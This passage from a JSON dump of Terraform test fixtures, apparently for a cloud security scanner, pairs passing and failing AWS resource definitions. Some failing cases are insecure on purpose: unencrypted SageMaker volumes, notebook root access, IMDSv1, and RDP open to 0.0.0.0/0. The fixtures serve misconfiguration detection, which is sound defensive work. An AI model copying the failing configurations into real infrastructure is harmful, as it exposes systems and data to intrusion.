\"s3BucketName\": \"\",\n      \"s3KeyPrefix\": \"\",\n      \"s3EncryptionEnabled\": true,\n      \"cloudWatchLogGroupName\": \"example\",\n      \"cloudWatchEncryptionEnabled\": false,\n      \"idleSessionTimeout\": \"20\",\n      \"cloudWatchStreamingEnabled\": true,\n      \"kmsKeyId\": \"\",\n      \"runAsEnabled\": false,\n      \"runAsDefaultUser\": \"\",\n      \"shellProfile\": {\n        \"windows\": \"\",\n        \"linux\": \"\"\n      }\n    }\n  }\nDOC\n}\n\nresource \"aws_ssm_document\" \"cw_enabled_not_encrypted_yaml\" {\n  name          = \"SSM-SessionManagerRunShell\"\n  document_type = \"Session\"\n\n  document_format = \"YAML\"\n\n  content = <<DOC\n  schemaVersion: '1.0'\n  description: Document to hold regional settings for Session Manager\n  sessionType: Standard_Stream\n  inputs:\n    s3BucketName: ''\n    s3KeyPrefix: ''\n    s3EncryptionEnabled: false\n    cloudWatchLogGroupName: 'example'\n    cloudWatchEncryptionEnabled: false\n    cloudWatchStreamingEnabled: true\n    kmsKeyId: ''\n    runAsEnabled: true\n    runAsDefaultUser: ''\n    idleSessionTimeout: '20'\n    shellProfile:\n      windows: ''\n      linux: ''\nDOC\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_SagemakerDataQualityJobDefinitionEncryption/main.tf",
    "content": "resource \"aws_iam_role\" \"MySageMakerRole\" {\n  name               = \"MySageMakerRole\"\n  assume_role_policy = jsonencode({\n    Version   = \"2012-10-17\"\n    Statement = [{\n      Effect    = \"Allow\"\n      Principal = {\n        Service = \"sagemaker.amazonaws.com\"\n      }\n      Action    = \"sts:AssumeRole\"\n    }]\n  })\n}\n\nresource \"aws_sagemaker_data_quality_job_definition\" \"data_quality_job_pass\" {\n  job_definition_name = \"MyDataQualityJob\"\n  role_arn            = aws_iam_role.MySageMakerRole.arn\n\n  data_quality_app_specification {\n    image_uri = \"123456789012.dkr.ecr.us-west-2.amazonaws.com/my-image:latest\"\n  }\n\n  data_quality_job_input {\n    endpoint_input {\n      endpoint_name = \"my-endpoint\"\n      local_path    = \"/opt/ml/processing/input\"\n    }\n  }\n\n  data_quality_job_output_config {\n    kms_key_id = \"arn:aws:kms:us-west-2:123456789012:key/my-existing-kms-key-id\"\n\n    monitoring_outputs {\n      s3_output {\n        s3_uri        = \"s3://my-sagemaker-bucket/output\"\n        local_path    = \"/opt/ml/processing/output\"\n        s3_upload_mode = \"Continuous\"\n      }\n    }\n  }\n\n  job_resources {\n    cluster_config {\n      instance_count  = 1\n      instance_type   = \"ml.m5.xlarge\"\n      volume_size_in_gb = 20\n      volume_kms_key_id = \"arn:aws:kms:us-west-2:123456789012:key/my-existing-kms-key-id\"\n    }\n  }\n\n  stopping_condition {\n    max_runtime_in_seconds = 3600\n  }\n}\n\nresource \"aws_sagemaker_data_quality_job_definition\" \"data_quality_job_fail\" {\n  job_definition_name = \"MyDataQualityJob\"\n  role_arn            = aws_iam_role.MySageMakerRole.arn\n\n  data_quality_app_specification {\n    image_uri = \"123456789012.dkr.ecr.us-west-2.amazonaws.com/my-image:latest\"\n  }\n\n  data_quality_job_input {\n    endpoint_input {\n      endpoint_name = \"my-endpoint\"\n      local_path    = \"/opt/ml/processing/input\"\n    }\n  }\n\n  data_quality_job_output_config {\n    monitoring_outputs {\n      s3_output {\n        s3_uri        = \"s3://my-sagemaker-bucket/output\"\n        local_path    = \"/opt/ml/processing/output\"\n        s3_upload_mode = \"Continuous\"\n      }\n    }\n  }\n\n  job_resources {\n    cluster_config {\n      instance_count  = 1\n      instance_type   = \"ml.m5.xlarge\"\n      volume_size_in_gb = 20\n      volume_kms_key_id = \"arn:aws:kms:us-west-2:123456789012:key/my-existing-kms-key-id\"\n    }\n  }\n\n  stopping_condition {\n    max_runtime_in_seconds = 3600\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_SagemakerDataQualityJobDefinitionTrafficEncryption/main.tf",
    "content": "provider \"aws\" {\n  region = \"us-west-2\"\n}\n\nresource \"aws_sagemaker_data_quality_job_definition\" \"data_quality_job_pass\" {\n  job_definition_name = \"MyDataQualityJobDefinition\"\n\n  data_quality_baseline_config {\n    baselining_job_name = \"MyBaselineJob\"\n  }\n\n  data_quality_app_specification {\n    image_uri = \"123456789012.dkr.ecr.us-west-2.amazonaws.com/my-custom-image:latest\"\n  }\n\n  data_quality_job_input {\n    endpoint_input {\n      endpoint_name = \"MyEndpoint\"\n      local_path    = \"/opt/ml/processing/input\"\n    }\n  }\n\n  data_quality_job_output_config {\n    monitoring_outputs {\n      s3_output {\n        s3_uri        = \"s3://my-bucket/output/\"\n        local_path    = \"/opt/ml/processing/output\"\n        s3_upload_mode = \"EndOfJob\"\n      }\n    }\n  }\n\n  role_arn = \"arn:aws:iam::123456789012:role/service-role/AmazonSageMaker-ExecutionRole-20200601T123456\"\n\n  network_config {\n    enable_inter_container_traffic_encryption = true\n  }\n\n  stopping_condition {\n    max_runtime_in_seconds = 3600\n  }\n}\n\nresource \"aws_sagemaker_data_quality_job_definition\" \"data_quality_job_fail_1\" {\n  job_definition_name = \"MyDataQualityJobDefinition\"\n\n  data_quality_baseline_config {\n    baselining_job_name = \"MyBaselineJob\"\n  }\n\n  data_quality_app_specification {\n    image_uri = \"123456789012.dkr.ecr.us-west-2.amazonaws.com/my-custom-image:latest\"\n  }\n\n  data_quality_job_input {\n    endpoint_input {\n      endpoint_name = \"MyEndpoint\"\n      local_path    = \"/opt/ml/processing/input\"\n    }\n  }\n\n  data_quality_job_output_config {\n    monitoring_outputs {\n      s3_output {\n        s3_uri        = \"s3://my-bucket/output/\"\n        local_path    = \"/opt/ml/processing/output\"\n        s3_upload_mode = \"EndOfJob\"\n      }\n    }\n  }\n\n  role_arn = \"arn:aws:iam::123456789012:role/service-role/AmazonSageMaker-ExecutionRole-20200601T123456\"\n\n  network_config {\n    enable_inter_container_traffic_encryption = false\n  }\n\n  stopping_condition {\n    max_runtime_in_seconds = 3600\n  }\n}\n\nresource \"aws_sagemaker_data_quality_job_definition\" \"data_quality_job_fail_2\" {\n  job_definition_name = \"MyDataQualityJobDefinition\"\n\n  data_quality_baseline_config {\n    baselining_job_name = \"MyBaselineJob\"\n  }\n\n  data_quality_app_specification {\n    image_uri = \"123456789012.dkr.ecr.us-west-2.amazonaws.com/my-custom-image:latest\"\n  }\n\n  data_quality_job_input {\n    endpoint_input {\n      endpoint_name = \"MyEndpoint\"\n      local_path    = \"/opt/ml/processing/input\"\n    }\n  }\n\n  data_quality_job_output_config {\n    monitoring_outputs {\n      s3_output {\n        s3_uri        = \"s3://my-bucket/output/\"\n        local_path    = \"/opt/ml/processing/output\"\n        s3_upload_mode = \"EndOfJob\"\n      }\n    }\n  }\n\n  role_arn = \"arn:aws:iam::123456789012:role/service-role/AmazonSageMaker-ExecutionRole-20200601T123456\"\n\n  stopping_condition {\n    max_runtime_in_seconds = 3600\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_SagemakerDataQualityJobDefinitionVolumeEncryption/main.tf",
    "content": "resource \"aws_iam_role\" \"MySageMakerRole\" {\n  name               = \"MySageMakerRole\"\n  assume_role_policy = jsonencode({\n    Version   = \"2012-10-17\"\n    Statement = [{\n      Effect    = \"Allow\"\n      Principal = {\n        Service = \"sagemaker.amazonaws.com\"\n      }\n      Action    = \"sts:AssumeRole\"\n    }]\n  })\n}\n\nresource \"aws_sagemaker_data_quality_job_definition\" \"data_quality_job_pass\" {\n  job_definition_name = \"MyDataQualityJob\"\n  role_arn            = aws_iam_role.MySageMakerRole.arn\n\n  data_quality_app_specification {\n    image_uri = \"123456789012.dkr.ecr.us-west-2.amazonaws.com/my-image:latest\"\n  }\n\n  data_quality_job_input {\n    endpoint_input {\n      endpoint_name = \"my-endpoint\"\n      local_path    = \"/opt/ml/processing/input\"\n    }\n  }\n\n  data_quality_job_output_config {\n    kms_key_id = \"arn:aws:kms:us-west-2:123456789012:key/my-existing-kms-key-id\"\n\n    monitoring_outputs {\n      s3_output {\n        s3_uri        = \"s3://my-sagemaker-bucket/output\"\n        local_path    = \"/opt/ml/processing/output\"\n        s3_upload_mode = \"Continuous\"\n      }\n    }\n  }\n\n  job_resources {\n    cluster_config {\n      instance_count    = 1\n      instance_type     = \"ml.m5.xlarge\"\n      volume_size_in_gb = 20\n      volume_kms_key_id = \"arn:aws:kms:us-west-2:123456789012:key/my-existing-volume-kms-key-id\"\n    }\n  }\n\n  stopping_condition {\n    max_runtime_in_seconds = 3600\n  }\n}\n\nresource \"aws_sagemaker_data_quality_job_definition\" \"data_quality_job_fail_1\" {\n  job_definition_name = \"MyDataQualityJob\"\n  role_arn            = aws_iam_role.MySageMakerRole.arn\n\n  data_quality_app_specification {\n    image_uri = \"123456789012.dkr.ecr.us-west-2.amazonaws.com/my-image:latest\"\n  }\n\n  data_quality_job_input {\n    endpoint_input {\n      endpoint_name = \"my-endpoint\"\n      local_path    = \"/opt/ml/processing/input\"\n    }\n  }\n\n  data_quality_job_output_config {\n    kms_key_id = \"arn:aws:kms:us-west-2:123456789012:key/my-existing-kms-key-id\"\n\n    monitoring_outputs {\n      s3_output {\n        s3_uri        = \"s3://my-sagemaker-bucket/output\"\n        local_path    = \"/opt/ml/processing/output\"\n        s3_upload_mode = \"Continuous\"\n      }\n    }\n  }\n\n  job_resources {\n    cluster_config {\n      instance_count    = 1\n      instance_type     = \"ml.m5.xlarge\"\n      volume_size_in_gb = 20\n    }\n  }\n\n  stopping_condition {\n    max_runtime_in_seconds = 3600\n  }\n}\n\nresource \"aws_sagemaker_data_quality_job_definition\" \"data_quality_job_fail_2\" {\n  job_definition_name = \"MyDataQualityJob\"\n  role_arn            = aws_iam_role.MySageMakerRole.arn\n\n  data_quality_app_specification {\n    image_uri = \"123456789012.dkr.ecr.us-west-2.amazonaws.com/my-image:latest\"\n  }\n\n  data_quality_job_input {\n    endpoint_input {\n      endpoint_name = \"my-endpoint\"\n      local_path    = \"/opt/ml/processing/input\"\n    }\n  }\n\n  data_quality_job_output_config {\n    kms_key_id = \"arn:aws:kms:us-west-2:123456789012:key/my-existing-kms-key-id\"\n\n    monitoring_outputs {\n      s3_output {\n        s3_uri        = \"s3://my-sagemaker-bucket/output\"\n        local_path    = \"/opt/ml/processing/output\"\n        s3_upload_mode = \"Continuous\"\n      }\n    }\n  }\n\n  stopping_condition {\n    max_runtime_in_seconds = 3600\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_SagemakerDomainEncryptedWithCMK/aws_sagemaker_domain.tf",
    "content": "resource \"aws_sagemaker_domain\" \"pass\" {\n  domain_name = \"examplea\"\n  auth_mode   = \"IAM\"\n  vpc_id      = aws_vpc.test.id\n  subnet_ids  = [aws_subnet.test.id]\n  kms_key_id  = aws_kms_key.test.arn\n\n  default_user_settings {\n    execution_role = aws_iam_role.test.arn\n  }\n\n  retention_policy {\n    home_efs_file_system = \"Delete\"\n  }\n}\n\nresource \"aws_sagemaker_domain\" \"fail\" {\n  domain_name = \"examplea\"\n  auth_mode   = \"IAM\"\n  vpc_id      = aws_vpc.test.id\n  subnet_ids  = [aws_subnet.test.id]\n\n  default_user_settings {\n    execution_role = aws_iam_role.test.arn\n  }\n\n  retention_policy {\n    home_efs_file_system = \"Delete\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_SagemakerDomainEncryptedWithCMK/aws_sagemaker_notebook_instance.tf",
    "content": "resource \"aws_sagemaker_notebook_instance\" \"pass\" {\n  name                    = \"my-notebook-instance\"\n  role_arn                = aws_iam_role.role.arn\n  instance_type           = \"ml.t2.medium\"\n  default_code_repository = aws_sagemaker_code_repository.example.code_repository_name\n  kms_key_id = aws_kms_key.test.arn\n\n  tags = {\n    Name = \"foo\"\n  }\n}\n\nresource \"aws_sagemaker_notebook_instance\" \"fail\" {\n  name                    = \"my-notebook-instance\"\n  role_arn                = aws_iam_role.role.arn\n  instance_type           = \"ml.t2.medium\"\n  default_code_repository = aws_sagemaker_code_repository.example.code_repository_name\n\n  tags = {\n    Name = \"foo\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_SagemakerFlowDefinitionUsesKMS/main.tf",
    "content": "resource \"aws_sagemaker_flow_definition\" \"flow_pass\" {\n  flow_definition_name = \"example\"\n  role_arn             = aws_iam_role.example.arn\n\n  human_loop_config {\n    human_task_ui_arn                     = aws_sagemaker_human_task_ui.example.arn\n    task_availability_lifetime_in_seconds = 1\n    task_count                            = 1\n    task_description                      = \"example\"\n    task_title                            = \"example\"\n    workteam_arn                          = aws_sagemaker_workteam.example.arn\n  }\n\n  output_config {\n    kms_key_id = \"abc\"\n    s3_output_path = \"s3://${aws_s3_bucket.example.bucket}/\"\n  }\n}\n\nresource \"aws_sagemaker_flow_definition\" \"flow_fail\" {\n  flow_definition_name = \"example\"\n  role_arn             = aws_iam_role.example.arn\n\n  human_loop_config {\n    human_task_ui_arn                     = aws_sagemaker_human_task_ui.example.arn\n    task_availability_lifetime_in_seconds = 1\n    task_count                            = 1\n    task_description                      = \"example\"\n    task_title                            = \"example\"\n    workteam_arn                          = aws_sagemaker_workteam.example.arn\n  }\n\n  output_config {\n    s3_output_path = \"s3://${aws_s3_bucket.example.bucket}/\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_SagemakerModelWithNetworkIsolation/main.tf",
    "content": "resource \"aws_sagemaker_model\" \"model_pass\" {\n  name               = \"my-model\"\n  execution_role_arn = aws_iam_role.example.arn\n\n  primary_container {\n    image = data.aws_sagemaker_prebuilt_ecr_image.test.registry_path\n  }\n  enable_network_isolation = true\n}\n\nresource \"aws_sagemaker_model\" \"model_fail_1\" {\n  name               = \"my-model\"\n  execution_role_arn = aws_iam_role.example.arn\n\n  primary_container {\n    image = data.aws_sagemaker_prebuilt_ecr_image.test.registry_path\n  }\n  enable_network_isolation = false\n}\n\nresource \"aws_sagemaker_model\" \"model_fail_2\" {\n  name               = \"my-model\"\n  execution_role_arn = aws_iam_role.example.arn\n\n  primary_container {\n    image = data.aws_sagemaker_prebuilt_ecr_image.test.registry_path\n  }\n}\n\nresource \"aws_iam_role\" \"example\" {\n  assume_role_policy = data.aws_iam_policy_document.assume_role.json\n}\n\ndata \"aws_iam_policy_document\" \"assume_role\" {\n  statement {\n    actions = [\"sts:AssumeRole\"]\n\n    principals {\n      type        = \"Service\"\n      identifiers = [\"sagemaker.amazonaws.com\"]\n    }\n  }\n}\n\ndata \"aws_sagemaker_prebuilt_ecr_image\" \"test\" {\n  repository_name = \"kmeans\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_SagemakerNotebookInCustomVPC/main.tf",
    "content": "resource \"aws_sagemaker_notebook_instance\" \"fail\" {\n  name                    = \"my-notebook-instance\"\n  role_arn                = aws_iam_role.role.arn\n  instance_type           = \"ml.t2.medium\"\n  default_code_repository = aws_sagemaker_code_repository.example.code_repository_name\n\n  tags = {\n    Name = \"foo\"\n  }\n}\n\nresource \"aws_sagemaker_notebook_instance\" \"pass\" {\n  name                    = \"my-notebook-instance\"\n  role_arn                = aws_iam_role.role.arn\n  instance_type           = \"ml.t2.medium\"\n  subnet_id = aws_subnet.pike.id\n  default_code_repository = aws_sagemaker_code_repository.example.code_repository_name\n\n  tags = {\n    Name = \"foo\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_SagemakerNotebookInstanceAllowsIMDSv2/main.tf",
    "content": "provider \"aws\" {\n  region = \"us-west-2\"\n}\n\nresource \"aws_iam_role\" \"sagemaker_execution_role\" {\n  name = \"sagemaker-execution-role\"\n\n  assume_role_policy = jsonencode({\n    Version = \"2012-10-17\",\n    Statement = [\n      {\n        Effect = \"Allow\",\n        Principal = {\n          Service = \"sagemaker.amazonaws.com\"\n        },\n        Action = \"sts:AssumeRole\"\n      }\n    ]\n  })\n}\n\nresource \"aws_iam_role_policy\" \"sagemaker_execution_policy\" {\n  role = aws_iam_role.sagemaker_execution_role.id\n\n  policy = jsonencode({\n    Version = \"2012-10-17\",\n    Statement = [\n      {\n        Effect = \"Allow\",\n        Action = [\n          \"s3:ListBucket\",\n          \"s3:GetObject\",\n          \"s3:PutObject\"\n        ],\n        Resource = \"*\"\n      }\n    ]\n  })\n}\n\nresource \"aws_sagemaker_notebook_instance\" \"my_notebook_instance_pass\" {\n  name           = \"MyNotebookInstance\"\n  instance_type  = \"ml.t2.medium\"\n  role_arn       = aws_iam_role.sagemaker_execution_role.arn\n\n  instance_metadata_service_configuration {\n    minimum_instance_metadata_service_version = \"2\"\n  }\n}\n\nresource \"aws_sagemaker_notebook_instance\" \"my_notebook_instance_fail_1\" {\n  name           = \"MyNotebookInstance\"\n  instance_type  = \"ml.t2.medium\"\n  role_arn       = aws_iam_role.sagemaker_execution_role.arn\n\n  instance_metadata_service_configuration {\n    minimum_instance_metadata_service_version = \"1\"\n  }\n}\n\nresource \"aws_sagemaker_notebook_instance\" \"my_notebook_instance_fail_2\" {\n  name           = \"MyNotebookInstance\"\n  instance_type  = \"ml.t2.medium\"\n  role_arn       = aws_iam_role.sagemaker_execution_role.arn\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_SagemakerNotebookRoot/main.tf",
    "content": "resource \"aws_sagemaker_notebook_instance\" \"fail\" {\n  name                    = \"my-notebook-instance\"\n  role_arn                = aws_iam_role.role.arn\n  instance_type           = \"ml.t2.medium\"\n  default_code_repository = aws_sagemaker_code_repository.example.code_repository_name\n  root_access = \"Enabled\"\n  tags = {\n    Name = \"foo\"\n  }\n}\n\nresource \"aws_sagemaker_notebook_instance\" \"fail2\" {\n  name                    = \"my-notebook-instance\"\n  role_arn                = aws_iam_role.role.arn\n  instance_type           = \"ml.t2.medium\"\n  default_code_repository = aws_sagemaker_code_repository.example.code_repository_name\n  tags = {\n    Name = \"foo\"\n  }\n}\n\nresource \"aws_sagemaker_notebook_instance\" \"pass\" {\n  name                    = \"my-notebook-instance\"\n  role_arn                = aws_iam_role.role.arn\n  instance_type           = \"ml.t2.medium\"\n  subnet_id = aws_subnet.pike.id\n  default_code_repository = aws_sagemaker_code_repository.example.code_repository_name\n  root_access = \"Disabled\"\n  tags = {\n    Name = \"foo\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_SchedulerScheduleUsesCMK/main.tf",
    "content": "resource \"aws_scheduler_schedule\" \"fail\" {\n  name       = \"my-schedule\"\n  group_name = \"default\"\n\n  flexible_time_window {\n    mode = \"OFF\"\n  }\n\n  schedule_expression = \"rate(1 hour)\"\n\n  target {\n    arn      = aws_sqs_queue.example.arn\n    role_arn = aws_iam_role.example.arn\n  }\n}\n\nresource \"aws_scheduler_schedule\" \"fail2\" {\n  name       = \"my-schedule\"\n  group_name = \"default\"\n\n  flexible_time_window {\n    mode = \"OFF\"\n  }\n\n  schedule_expression = \"rate(1 hour)\"\n  kms_key_arn         = \"\"\n\n  target {\n    arn      = aws_sqs_queue.example.arn\n    role_arn = aws_iam_role.example.arn\n  }\n}\n\nresource \"aws_scheduler_schedule\" \"pass\" {\n  name       = \"my-schedule\"\n  group_name = \"default\"\n\n  flexible_time_window {\n    mode = \"OFF\"\n  }\n\n  schedule_expression = \"rate(1 hour)\"\n  kms_key_arn         = \"arn:aws:kms:eu-west-2:680235478471:key/a61e2553-18fe-40b8-a959-bf775459ed46\"\n\n  target {\n    arn      = aws_sqs_queue.example.arn\n    role_arn = aws_iam_role.example.arn\n  }\n}\nresource \"aws_scheduler_schedule\" \"pass2\" {\n  name       = \"my-schedule\"\n  group_name = \"default\"\n\n  flexible_time_window {\n    mode = \"OFF\"\n  }\n\n  schedule_expression = \"rate(1 hour)\"\n  kms_key_arn         = aws_kms_key.pike.arn\n\n  target {\n    arn      = aws_sqs_queue.example.arn\n    role_arn = aws_iam_role.example.arn\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_SecretManagerSecret90days/main.tf",
    "content": "resource \"aws_secretsmanager_secret_rotation\" \"pass\" {\n  secret_id           = aws_secretsmanager_secret.example.id\n  rotation_lambda_arn = aws_lambda_function.example.arn\n\n  rotation_rules {\n    automatically_after_days = 30\n  }\n}\n\nresource \"aws_secretsmanager_secret_rotation\" \"fail\" {\n  secret_id           = aws_secretsmanager_secret.example.id\n  rotation_lambda_arn = aws_lambda_function.example.arn\n\n  rotation_rules {\n    automatically_after_days = 90\n  }\n}\n\nresource \"aws_secretsmanager_secret_rotation\" \"fail_2\" {\n  secret_id           = aws_secretsmanager_secret.example.id\n  rotation_lambda_arn = aws_lambda_function.example.arn\n\n  rotation_rules {\n    automatically_after_days = var.days\n  }\n}\n\nresource \"aws_secretsmanager_secret_rotation\" \"pass_scheduled_hours\" {\n  secret_id           = aws_secretsmanager_secret.this.id\n  rotation_lambda_arn = aws_lambda_function.this.arn\n\n  rotate_immediately = true\n\n  rotation_rules {\n    schedule_expression = \"rate(4 hours)\"\n  }\n\n  depends_on = [\n    time_sleep.wait_for_lambda_permissions_for_secrets_manager,\n    module.rotation_lambda\n  ]\n}\n\nresource \"aws_secretsmanager_secret_rotation\" \"pass_scheduled_days\" {\n  secret_id           = aws_secretsmanager_secret.this.id\n  rotation_lambda_arn = aws_lambda_function.this.arn\n\n  rotate_immediately = true\n\n  rotation_rules {\n    schedule_expression = \"rate(89 days)\"\n  }\n\n  depends_on = [\n    time_sleep.wait_for_lambda_permissions_for_secrets_manager,\n    module.rotation_lambda\n  ]\n}\n\nresource \"aws_secretsmanager_secret_rotation\" \"fail_scheduled_days\" {\n  secret_id           = aws_secretsmanager_secret.this.id\n  rotation_lambda_arn = aws_lambda_function.this.arn\n\n  rotate_immediately = true\n\n  rotation_rules {\n    schedule_expression = \"rate(180 days)\"\n  }\n\n  depends_on = [\n    time_sleep.wait_for_lambda_permissions_for_secrets_manager,\n    module.rotation_lambda\n  ]\n}\n\nresource \"aws_secretsmanager_secret_rotation\" \"pass_scheduled_cron\" {\n  secret_id           = aws_secretsmanager_secret.this.id\n  rotation_lambda_arn = aws_lambda_function.this.arn\n\n  rotate_immediately = true\n\n  rotation_rules {\n    schedule_expression = \"cron(0 12 * * ? *)\"\n  }\n\n  depends_on = [\n    time_sleep.wait_for_lambda_permissions_for_secrets_manager,\n    module.rotation_lambda\n  ]\n}\n\n\n# Fail example with cron to be tackled later\n# resource \"aws_secretsmanager_secret_rotation\" \"fail_scheduled_cron\" {\n#   secret_id           = aws_secretsmanager_secret.this.id\n#   rotation_lambda_arn = aws_lambda_function.this.arn\n#\n#   rotate_immediately = true\n#\n#   rotation_rules {\n#     schedule_expression = \"cron(0 12 * 2 ? *)\"\n#   }\n#\n#   depends_on = [\n#     time_sleep.wait_for_lambda_permissions_for_secrets_manager,\n#     module.rotation_lambda\n#   ]\n# }\n\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_SecretManagerSecretEncrypted/main.tf",
    "content": "# pass\n\nresource \"aws_secretsmanager_secret\" \"enabled1\" {\n  name = \"secret\"\n\n  kms_key_id = var.kms_key_id\n}\n\nresource \"aws_secretsmanager_secret\" \"enabled2\" {\n  name = \"secret\"\n\n  kms_key_id = \"1234\"\n}\n\n# failure\n\nresource \"aws_secretsmanager_secret\" \"default\" {\n  name = \"secret\"\n}\n\nresource \"aws_secretsmanager_secret\" \"default_explicit\" {\n  name       = \"secret\"\n  kms_key_id = \"alias/aws/secretsmanager\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_SecretManagerSecretEncrypted/tfplan.json",
    "content": "{\n    \"format_version\": \"0.2\",\n    \"terraform_version\": \"1.0.11\",\n    \"planned_values\":\n    {\n        \"root_module\":\n        {\n            \"resources\":\n            [\n                {\n                    \"address\": \"aws_secretsmanager_secret.not_specified\",\n                    \"mode\": \"managed\",\n                    \"type\": \"aws_secretsmanager_secret\",\n                    \"name\": \"not_specified\",\n                    \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n                    \"schema_version\": 0,\n                    \"values\":\n                    {\n                        \"description\": null,\n                        \"force_overwrite_replica_secret\": false,\n                        \"kms_key_id\": null,\n                        \"name\": \"the-site-secret\",\n                        \"recovery_window_in_days\": 30,\n                        \"tags\": null\n                    },\n                    \"sensitive_values\":\n                    {\n                        \"replica\":\n                        [],\n                        \"rotation_rules\":\n                        [],\n                        \"tags_all\":\n                        {}\n                    }\n                }\n            ]\n        }\n    },\n    \"resource_changes\":\n    [\n        {\n            \"address\": \"aws_secretsmanager_secret.not_specified\",\n            \"mode\": \"managed\",\n            \"type\": \"aws_secretsmanager_secret\",\n            \"name\": \"not_specified\",\n            \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n            \"change\":\n            {\n                \"actions\":\n                [\n                    \"create\"\n                ],\n                \"before\": null,\n                \"after\":\n                {\n                    \"description\": null,\n                    \"force_overwrite_replica_secret\": false,\n                    \"kms_key_id\": null,\n                    \"name\": \"the-site-secret\",\n                    \"recovery_window_in_days\": 30,\n                    \"tags\": null\n                },\n                \"after_unknown\":\n                {\n                    \"arn\": true,\n                    \"id\": true,\n                    \"name_prefix\": true,\n                    \"policy\": true,\n                    \"replica\": true,\n                    \"rotation_enabled\": true,\n                    \"rotation_lambda_arn\": true,\n                    \"rotation_rules\": true,\n                    \"tags_all\": true\n                },\n                \"before_sensitive\": false,\n                \"after_sensitive\":\n                {\n                    \"replica\":\n                    [],\n                    \"rotation_rules\":\n                    [],\n                    \"tags_all\":\n                    {}\n                }\n            }\n        }\n    ],\n    \"configuration\":\n    {\n        \"provider_config\":\n        {\n            \"aws\":\n            {\n                \"name\": \"aws\"\n            }\n        },\n        \"root_module\":\n        {\n            \"resources\":\n            [\n                {\n                    \"address\": \"aws_secretsmanager_secret.not_specified\",\n                    \"mode\": \"managed\",\n                    \"type\": \"aws_secretsmanager_secret\",\n                    \"name\": \"not_specified\",\n                    \"provider_config_key\": \"aws\",\n                    \"expressions\":\n                    {\n                        \"name\":\n                        {\n                            \"constant_value\": \"the-site-secret\"\n                        }\n                    },\n                    \"schema_version\": 0\n                }\n            ]\n        }\n    }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_SecurityGroupRuleDescription/main.tf",
    "content": "\nresource \"aws_security_group\" \"fail\" {\n  egress {\n    description = \"Allow outgoing communication\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n    from_port   = \"0\"\n    protocol    = \"-1\"\n    self        = \"false\"\n    to_port     = \"0\"\n  }\n  egress {\n    cidr_blocks = [\"10.0.0.0/0\"]\n    from_port   = \"0\"\n    protocol    = \"-1\"\n    self        = \"false\"\n    to_port     = \"0\"\n  }\n  ingress {\n    description = \"Self Reference\"\n    from_port   = \"0\"\n    protocol    = \"-1\"\n    self        = \"true\"\n    to_port     = \"0\"\n  }\n\n  name = \"example-lambda\"\n\n  tags = {\n    Name = \"example-sg\"\n  }\n\n  vpc_id = aws_vpc.vpc.id\n}\n\nresource \"aws_security_group\" \"pass\" {\ndescription = \"sg_desc\"\n  egress {\n    description = \"Allow outgoing communication\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n    from_port   = \"0\"\n    protocol    = \"-1\"\n    self        = \"false\"\n    to_port     = \"0\"\n  }\n  egress {\n    description = \"Egress description\"\n    cidr_blocks = [\"10.0.0.0/0\"]\n    from_port   = \"0\"\n    protocol    = \"-1\"\n    self        = \"false\"\n    to_port     = \"0\"\n  }\n\n  ingress {\n    description = \"Self Reference\"\n    from_port   = \"0\"\n    protocol    = \"-1\"\n    self        = \"true\"\n    to_port     = \"0\"\n  }\n\n  name = \"example-lambda\"\n\n  tags = {\n    Name = \"example-sg\"\n  }\n\n  vpc_id = aws_vpc.vpc.id\n}\n\nresource \"aws_security_group\" \"pass2\" {\n  description = \"SG description\"\n  egress {\n    description = \"Allow outgoing communication\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n    from_port   = \"0\"\n    protocol    = \"-1\"\n    self        = \"false\"\n    to_port     = \"0\"\n  }\n\n  ingress {\n    description = \"Self Reference\"\n    from_port   = \"0\"\n    protocol    = \"-1\"\n    self        = \"true\"\n    to_port     = \"0\"\n  }\n\n  name = \"example-lambda\"\n\n  tags = {\n    Name = \"example-sg\"\n  }\n\n  vpc_id = aws_vpc.vpc.id\n}\n\nresource \"aws_security_group_rule\" \"fail\" {\n  type = \"ingress\"\n  from_port = 3389\n  to_port = 3389\n  protocol = \"tcp\"\n  cidr_blocks = \"0.0.0.0/0\"\n  security_group_id = \"sg-123456\"\n}\n\nresource \"aws_security_group_rule\" \"pass\" {\n  type = \"ingress\"\n  description = \"SG rule description\"\n  from_port = 3389\n  to_port = 3389\n  protocol = \"tcp\"\n  cidr_blocks = \"0.0.0.0/0\"\n  security_group_id = \"sg-123456\"\n}\n\nresource \"aws_vpc_security_group_ingress_rule\" \"fail\" {\n  security_group_id = aws_security_group.example.id\n\n  cidr_ipv4   = \"10.0.0.0/8\"\n  from_port   = 80\n  ip_protocol = \"tcp\"\n  to_port     = 8080\n}\n\nresource \"aws_vpc_security_group_ingress_rule\" \"pass\" {\n  security_group_id = aws_security_group.example.id\n  description = \"The good stuff\"\n  cidr_ipv4   = \"10.0.0.0/8\"\n  from_port   = 80\n  ip_protocol = \"tcp\"\n  to_port     = 8080\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_SecurityGroupUnrestrictedEgressAny/main.tf",
